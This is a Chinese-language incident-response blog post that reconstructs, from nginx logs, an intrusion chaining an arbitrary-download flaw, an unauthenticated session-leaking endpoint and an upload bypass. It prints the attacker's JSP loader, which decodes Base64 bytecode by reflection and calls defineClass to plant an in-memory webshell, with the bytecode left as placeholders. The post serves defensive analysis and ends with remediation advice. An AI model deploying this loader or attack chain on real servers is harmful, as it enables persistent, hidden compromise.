文章总结： 本文详细分析了一次针对定制化系统的攻击事件，攻击者通过任意下载漏洞获取系统代码，利用未授权接口获取用户会话，最终成功植入内存马。作者推测攻击者可能是之前接触过该系统的安全人员或离职开发，建议剥离APP接口白名单、增加安全设备监控、部署APP专属加解密网关以防范类似攻击。 综合评分： 87 文章分类： 应急响应,漏洞分析,渗透测试,WEB安全,实战经验

谨记熟人下手攻击！

原创

yudays

yudays实验室

2025年12月6日 18:46 广东

欢迎转发，请勿抄袭

        起因是去参加了某攻防演练，回来发现家被偷了。上班的第一天，客户称“我们被攻击了”。我想这不是被偷家了？马上联系运维团队采集日志。运维团队发来了nginx日志。于是便开始本次分析日志。

日志分析过程：

1、攻击者直接上来访问文件上传接口，发现302跳转后，开始尝试权限绕过漏洞，均失败。–时间线10:43:51。

2、攻击者开始测试任意下载的漏洞，不知道从哪里拿来的漏洞。根据状态码200，成功下载历史命令、配置文件等。（该系统属于定制化开发，UI界面提前3个月关闭）。–时间线10:58:58

3、攻击者通过历史命令分析拿到代码路径，并使用下载接口拿到系统war代码。–时间线：11:08:32

4、攻击者通过分析代码，发现存在未授权接口，并改访问了该接口，响应200状态码。–时间线：11:25:11

本地测试该接口，发现可以获取所有在线用户session

5、攻击者通过代码审计，发现上传接口。开始进行利用上传接口，携带上方获取的会话凭证–时间线 11:31:32

数据包内容

------WebKitFormBoundaryUSKOoAL6mKuLP8ys Content-Disposition: form-data; name="file";filename="1.txt"
123------WebKitFormBoundaryUSKOoAL6mKuLP8ys--

6、攻击者根据代码分析，发现文件名随服务器时间加文件名组合。开始爆破上传的文件名，从日志分析攻击者没有访问成功上传的文件。–时间线11:33:35

7、攻击者进行爆破文件名，并没成功访问到。再次尝试多次上传文件。并同时获取新的会话凭证–时间线：11:37:16

………试了很多次…………

8、攻击者经过多次爆破未成功，开始猜测服务器时间和本地上传时间差异，尝试间隔时间多次上传。此时开始上传jsp文件；–时间线12:07:39

9、攻击者经过间隔多次方式上传，最终通过爆破成功访问到上传的jsp文件-时间线12:10:28

10、攻击者正式开始上传jsp木马，并使用jsp注入内存马方式进行植入。只要访问到jsp木马，即可植入内存马。–时间线12:12:56

样本代码

<%try&nbsp;{ClassLoader&nbsp;clzLoader&nbsp;=&nbsp;Thread.currentThread().getContextClassLoader();String&nbsp;clzBytecodeBase64StrPart1&nbsp;=&nbsp;"base64字节码";String&nbsp;clzBytecodeBase64StrPart2&nbsp;=&nbsp;"base64字节码";String&nbsp;clzBytecodeBase64StrPart3&nbsp;=&nbsp;"base64字节码";byte[] bytecode =&nbsp;null;try&nbsp;{Class&nbsp;base64Clz&nbsp;=&nbsp;clzLoader.loadClass("java.util.Base64");Class&nbsp;decoderClz&nbsp;=&nbsp;clzLoader.loadClass("java.util.Base64$Decoder");Object&nbsp;decoder&nbsp;=&nbsp;base64Clz.getMethod("getDecoder").invoke(base64Clz);bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, clzBytecodeBase64StrPart1+clzBytecodeBase64StrPart2+clzBytecodeBase64StrPart3);}&nbsp;catch&nbsp;(ClassNotFoundException e) {Class&nbsp;datatypeConverterClz&nbsp;=&nbsp;clzLoader.loadClass("javax.xml.bind.DatatypeConverter");bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, clzBytecodeBase64StrPart1+clzBytecodeBase64StrPart2+clzBytecodeBase64StrPart3);}java.lang.reflect.Method&nbsp;defineClzMethod&nbsp;=&nbsp;clzLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class,&nbsp;byte[].class,&nbsp;int.class,&nbsp;int.class);defineClzMethod.setAccessible(true);Class&nbsp;clz&nbsp;=&nbsp;(Class) defineClzMethod.invoke(clzLoader,&nbsp;null, bytecode,&nbsp;0&nbsp; ,bytecode.length);clz.newInstance();}&nbsp;catch&nbsp;(Throwable e) {}%>

11、攻击者通过爆破文件名，成功访问到前面上传的jsp木马，同时也成功植入了内存马–时间线12:13:46

12、攻击者通过内存马访问，所有请求进行加密，无法查看操作内容。–时间线12:14:16

    到了这里已经还原出攻击者入侵路径，将涉及漏洞链接收集发给了开发团队下线修复，同时发给安全团队查阅历史漏洞。反馈了两张截图在前一年发现的漏洞，涉及链接是攻击者最初利用的上传漏洞均已经修复。

    该系统WEB界面已经关闭，由于APP共用部分后台接口未关全的情况下导致的本次攻击。因此也不存在通过js文件分析出文件下载漏洞。

    通过分析本次攻击行为和历史报告，猜测之前拿到过该系统代码或拿到测试报告的人，下载代码只不过是看看有无更改过其他代码。大胆猜测是之前合作安全厂家渗透测试人员又或者开发团队离职人员转行网络安全人员！

整改方案：剥离APP接口白名单，增加安全设备监控，APP专属加解密网关。